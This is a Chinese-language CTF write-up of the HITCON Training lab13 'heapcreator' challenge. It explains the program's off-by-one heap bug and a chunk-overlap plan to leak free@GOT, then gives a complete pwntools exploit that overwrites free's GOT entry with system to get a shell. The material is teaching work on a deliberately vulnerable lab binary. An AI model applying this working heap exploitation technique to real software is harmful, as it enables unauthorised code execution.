HITCON Trainging lab13
题目信息
➜ hitcontraning_lab13 git:(master) file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
➜ hitcontraning_lab13 git:(master) checksec heapcreator
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/hitcontraning_lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
基本功能
程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下
- 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
- 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
- 展示堆,输出指定索引堆的大小以及内容。
- 删除堆,删除指定堆,并且将对应指针设置为了 NULL。
利用思路
基本利用思路如下
利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
每一次create都会先申请0x10
(heap->size)和(size+0x10)
大小 (heap->content)的块。
当申请第二个heap的时候,第一个heap的content后面紧跟的就是第二个heap的size结构。
我们分别create(0x18)以及create(0x10)看下:
gef➤ heap chunks
Chunk(addr=0x7f7010, size=0x20, flags=PREV_INUSE)
[0x00000000007f7010 18 00 00 00 00 00 00 00 30 70 7f 00 00 00 00 00 ........0p......]
Chunk(addr=0x7f7030, size=0x20, flags=PREV_INUSE)
[0x00000000007f7030 68 61 70 70 79 0a 00 00 00 00 00 00 00 00 00 00 happy...........]
Chunk(addr=0x7f7050, size=0x20, flags=PREV_INUSE)
[0x00000000007f7050 10 00 00 00 00 00 00 00 70 70 7f 00 00 00 00 00 ........pp......]
Chunk(addr=0x7f7070, size=0x20, flags=PREV_INUSE)
[0x00000000007f7070 68 61 70 70 79 0a 00 00 00 00 00 00 00 00 00 00 happy...........]
Chunk(addr=0x7f7090, size=0x20f80, flags=PREV_INUSE) ← top chunk
0x7f7030
是第一个heap的content,而0x7f7050
是第二个heap的size,0x7f7070
是第二个heap的content。由于存在off by one,我们修改第一个heap,使其溢出到0x7f7050
,改写第二个heap的size chunk的大小。
假设溢出将其改为0x41,然后我们free第二个heap的时候,就能获得0x7f7070
之后的overlap部分,再申请0x30的heap的时候,就会把那个0x41的块作为content,而这个content包含了新的第二个heap的struct结构,可以控制其块指针,进而通过show,edit来泄露free地址,改写free_got为system。
exp
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18, "happy") # 0
create(0x10, "happy") # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30,"HAPPYERS"*4+p64(0x30)+p64(heap.got['free']))
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
log.success('Free address: '+hex(free_addr))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1,p64(system_addr))
delete(0)
r.interactive()
网友评论